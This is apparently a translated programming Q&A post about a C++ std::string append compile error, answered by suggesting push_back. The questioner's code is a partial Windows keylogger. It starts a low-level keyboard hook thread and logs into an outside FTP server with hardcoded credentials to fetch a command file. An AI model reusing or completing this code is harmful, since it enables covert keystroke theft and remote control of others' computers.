【发布时间】:2013-05-19 17:37:47
【问题描述】:
假设我有一个 char 或一个非 const 的 char 数组。我修改它等等。 然后我想稍后关闭所有修改。 有没有办法重建一个字符? 当我写以下内容时,这个问题出现了: 我无法将每个 char 元素附加到一个字符串中(后来用运算符 += 修复)。
#include <iostream>
#include <windows.h>
#include <process.h>
#include <string>
#include <Wininet.h>
#include <vector>
using std::string;
using std::cout;
using std::cin;
using std::vector;
unsigned int __stdcall keylogthreadhook(void *);
LRESULT CALLBACK LowLevelKeyboardProc(int, WPARAM, LPARAM);
string tempkeylog_buffer;
char ftpreadbuffer[1024];
vector<string> filetokens;
unsigned int threadid = 0;
DWORD numberread = 0;
int main(){
_beginthreadex(NULL, 0, &keylogthreadhook, NULL, 0, &threadid);
HINTERNET connection = InternetOpen("Keyclient", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
cout << GetLastError();
HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);
cout << GetLastError();
HINTERNET filehandle = FtpOpenFile(ftpinstance, "command.txt", GENERIC_READ,FTP_TRANSFER_TYPE_ASCII, NULL);
cout << GetLastError();
InternetReadFile(filehandle, (char *)ftpreadbuffer, 1024, &numberread);
cout << GetLastError();
string temporarystr;
for(int i = 0; ftpreadbuffer[i] != '.'; i++){
if(ftpreadbuffer[i] == '\n'){
filetokens.push_back(temporarystr);
temporarystr.clear();
}
temporarystr.append(ftpreadbuffer[i]); //error here!
}
cout << filetokens[0].c_str() << filetokens[1].c_str();
return 0;
}
错误:-------------------------
invalid conversion from 'char' to 'const char*'|
error: initializing argument 1 of 'std::basic_string<_CharT, _Traits, _Alloc>& std::basic_string<_CharT, _Traits, _Alloc>::append(const _CharT*) [with _CharT = char, _Traits = std::char_traits<char>, _Alloc = std::allocator<char>]'|
【问题讨论】:
-
您可以创建一个指向现有数据的 const 变量并改用它。
-
任何非
const对象都可以被视为const对象。这与您的问题无关:std::string::append采用const std::string &或const char *,您给它一个char。如果你真的想在ftpreadbuffer[i]处附加单个字符,请使用push_back。
标签: c++ c char constants tokenize